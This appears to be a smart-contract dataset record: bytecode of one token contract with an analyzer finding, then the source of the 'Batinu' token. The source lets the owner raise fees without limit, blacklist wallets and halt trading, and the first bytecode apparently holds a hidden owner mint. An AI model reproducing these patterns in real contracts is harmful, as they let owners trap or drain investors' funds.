0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c45780633ebcda62146101e457806370a082311461020457005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610c15565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610be9565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610ba8565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610be9565b610581565b3480156101f057600080fd5b506100dc6101ff366004610be9565b6105c5565b34801561021057600080fd5b5061016a61021f366004610b35565b6001600160a01b031660009081526009602052604090205490565b34801561024657600080fd5b506100f361069d565b34801561025b57600080fd5b5061014561026a366004610be9565b6106aa565b34801561027b57600080fd5b5061014561028a366004610be9565b6106e0565b34801561029b57600080fd5b5061016a6102aa366004610b6f565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610cb8565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610cb8565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107cb565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610876565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610896565b6001600160a01b0384166000908152600960205260409020546104a69083610876565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610876565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610974565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610974565b61098f565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61064d8282610ab3565b6001600160a01b0382166000908152600960205260409020546106709082610876565b6001600160a01b0383166000908152600960205260409020556005546106969082610876565b6005555050565b600180546102e290610cb8565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610876565b6004546000906001600160a01b038481166101009092041614156107345760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161063a565b3360009081526009602052604090205461074e9083610876565b33600090815260096020526040808220929092556001600160a01b0385168152205461077a9083610974565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081957600080fd5b505afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190610b52565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088557600080fd5b61088f8284610ca1565b9392505050565b6004546001600160a01b03828116610100909204161415806108e257506007546001600160a01b0383811691161480156108e257506004546001600160a01b0382811661010090920416145b8061092457506004546001600160a01b038281166101009092041614801561092457506006546001600160a01b03831660009081526009602052604090205411155b6109705760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161063a565b5050565b60006109808284610c6a565b9050828110156103e457600080fd5b6001600160a01b0383166109f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610a525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae5610adc826002610c82565b60055490610974565b600555610b15610af6826002610c82565b6001600160a01b03841660009081526009602052604090205490610974565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208284031215610b4757600080fd5b813561088f81610d09565b600060208284031215610b6457600080fd5b815161088f81610d09565b60008060408385031215610b8257600080fd5b8235610b8d81610d09565b91506020830135610b9d81610d09565b809150509250929050565b600080600060608486031215610bbd57600080fd5b8335610bc881610d09565b92506020840135610bd881610d09565b929592945050506040919091013590565b60008060408385031215610bfc57600080fd5b8235610c0781610d09565b946020939093013593505050565b600060208083528351808285015260005b81811015610c4257858101830151858201604001528201610c26565b81811115610c54576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c7d57610c7d610cf3565b500190565b6000816000190483118215151615610c9c57610c9c610cf3565b500290565b600082821015610cb357610cb3610cf3565b500390565b600181811c90821680610ccc57607f821691505b60208210811415610ced57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d1e57600080fd5b5056fea264697066735822122071ef5867ac66b4372861f54e786f933b363a88135b861bbeead3ba771d3cd12b64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,008 |
0xac8868faf6eb2182572a72d8b7516349e75f42b1
|
/**
Telegram: https://t.me/batinueth
Website: https://batinu.com/
.~?5PPJ. ^77!^.
.:!JPGP5?~!B#~ 5#Y7Y5PGPJ!:.
:!YPGPJ!:. !BG~ J#Y .:!JPGPY!:
:75GGY!: .5#? .!7^ ~7~ J#5 :!YGG5!.
.~5GGY~. P#7 .BBP#Y P#P#5 Y#? .75BP?:
.!PBP7. ^#G 7#Y Y#? J#Y G#^ :BB .~5BG7.
^5BP!. .BB. P#~ P#~ ~#G ?#Y !#P .~PB5^
!GBJ: ^GB7. :BG .BB7~7BG: :BB .J#P. :JBG~
!BB7. !PB57: Y#? .!JYJ!. G#^ :7PB5~ .?BG~
^GB7 .!YPGPY7~:. .BB. J#J .^!JPGPJ~. .Y#P.
.Y#Y. .:~?Y5PGPP55JJ?7775#J .GB?^^^^~!7JY5PGP5J!:. :G#7
^BB~ ..:^~!777?7! ~JYYYYJ?7!^:. J#5.
7#P. .GGPPPPPPPPPPPY!. 5BGGGGB#Y 5BBBBBGGBBBBBBB###&^ ^BBBBGG: :PPPPP5^ :GGGBB5 JGGGGPP? . 7GPPPPG: . !#G.
J#5 &@@@@@@@@@@@@@@&J ~@&&@@&&&@~ #@@@@@@@&&&&@@@@@@@J ^@&&&&@^ !@@@@@@&? .&@&&@P 7@@@@@@B . ?@@@@@@:. ~#G.
J#5 G&&&&&&GY5G&&&&&@! #&&&&&&&&&&.. JP55555&&&&&BGGBBB#7 .&&&&&&: !@&&&&&&@P .&&&&@? .&&&&&&G . ~@&&&&&.. ~#G.
7#P G&&&&&@^ 5@&&&@P . Y@&&&&&&&&&@P . B&&&@~ . .&&&&&&: !@&&&&&&&@B. .&&&&@~ B&&&&&G . :&&&&&# . ?#5
~BG. G&&&&&&?^~J&&&&&#:.. ^&&&&@P:&&&&&@~ B&&&@! . &&&&&&^ ~@&&&&B@&&@&~ :&&&&&:. Y@&&&&G . &&&&&# . P#!
G#7 ..:~!7?JYYY55Y B&&&&&&&&&&&@&#? . .&&&&&#. Y@&&&&&.. #&&&@! . &&&&&@^ :&&&&& !&&&&&Y?&&&&&.. 7@&&&&G . #&&&&B :5P555YJ?7!~:.. !#B
^5GPGP5YJ7!~~^^^^: #&&&&&&!:^~~?&&&BJ. G@&&&&^ ..#&&&&@P . #&&&@7 . &&&&&@~ .&&&&&. :#@&&@&&&&&&.. !@&&&&# .7Y^^&&&&@G :::::^^~!7JY5PPGGG!
#&&&&&&. .~ #&&&@&. J@&&&&&####&&&&&&@! &&&&@? . .&&&&&@! .&&&&@^. 5@&&&&&&&&.. .&&&&&&#???5&&&&&@7 . .
.&&&&&&&5??7J#&&&&@& !@&&&&&#####&&&&&&&&. .&&&&@Y . .&&&&&@? .&&&&@7 . ~&@&&&&&&:. ~&@&&&&@@@@&&&&@P :
:@@@@@@@@@@@@@@@@&#^^@@@@@&:......^&@@@@@B . :@@@@@B . :@@@@@@Y .&@@@@P . ..:G@@@@@@^ ?B&@@@@@@@@ .
:P555PPPPPPPPP5Y7^ 5P55PG^ ~PPPPP^~GPPPPG^ . :PPPP5? . :PPPPPP! PP5PG5 :PGGJ.7PPGGP... ?!:!J5PPPY7^...
~J~~~^:. ......::. .^~!!^. .:~~~:. .. .~PGJ7##.
^7!: .!5GG?. .7GBY~. :7YJ:
^5BP~ :YBP~
.7BB7 :5#5:
!BB7 .J#P:
7BG~ !BB~
.Y#5. .5#Y
^GB!^BB~
.JBB5.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Batinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Batinu";
string private constant _symbol = "BATINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x56ADc952FCe7a1F0ecEE7BD1813ECc2c07F39CD9);
address payable private _marketingAddress = payable(0x56ADc952FCe7a1F0ecEE7BD1813ECc2c07F39CD9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b411461047f57806398a5c315146104ae57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105f9565b005b34801561020a57600080fd5b50604080518082019091526006815265426174696e7560d01b60208201525b6040516102369190611a22565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a77565b610698565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611aa3565b6106af565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060155461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ae4565b610718565b34801561036a57600080fd5b506101fc610379366004611b11565b610763565b34801561038a57600080fd5b506101fc6107ab565b34801561039f57600080fd5b506102be6103ae366004611ae4565b6107f6565b3480156103bf57600080fd5b506101fc610818565b3480156103d457600080fd5b506101fc6103e3366004611b2c565b61088c565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ae4565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028f565b34801561045557600080fd5b506101fc610464366004611b11565b6108bb565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b50604080518082019091526006815265424154494e5560d01b6020820152610229565b3480156104ba57600080fd5b506101fc6104c9366004611b2c565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b45565b610932565b3480156104fa57600080fd5b5061025f610509366004611a77565b610970565b34801561051a57600080fd5b5061025f610529366004611ae4565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b77565b6109d1565b34801561057f57600080fd5b506102be61058e366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2c565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ae4565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c34565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c95565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c34565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c34565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c34565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c34565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c69565b9050602002016020810190610a329190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c95565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c34565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c34565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611cb0565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b038316600090815260056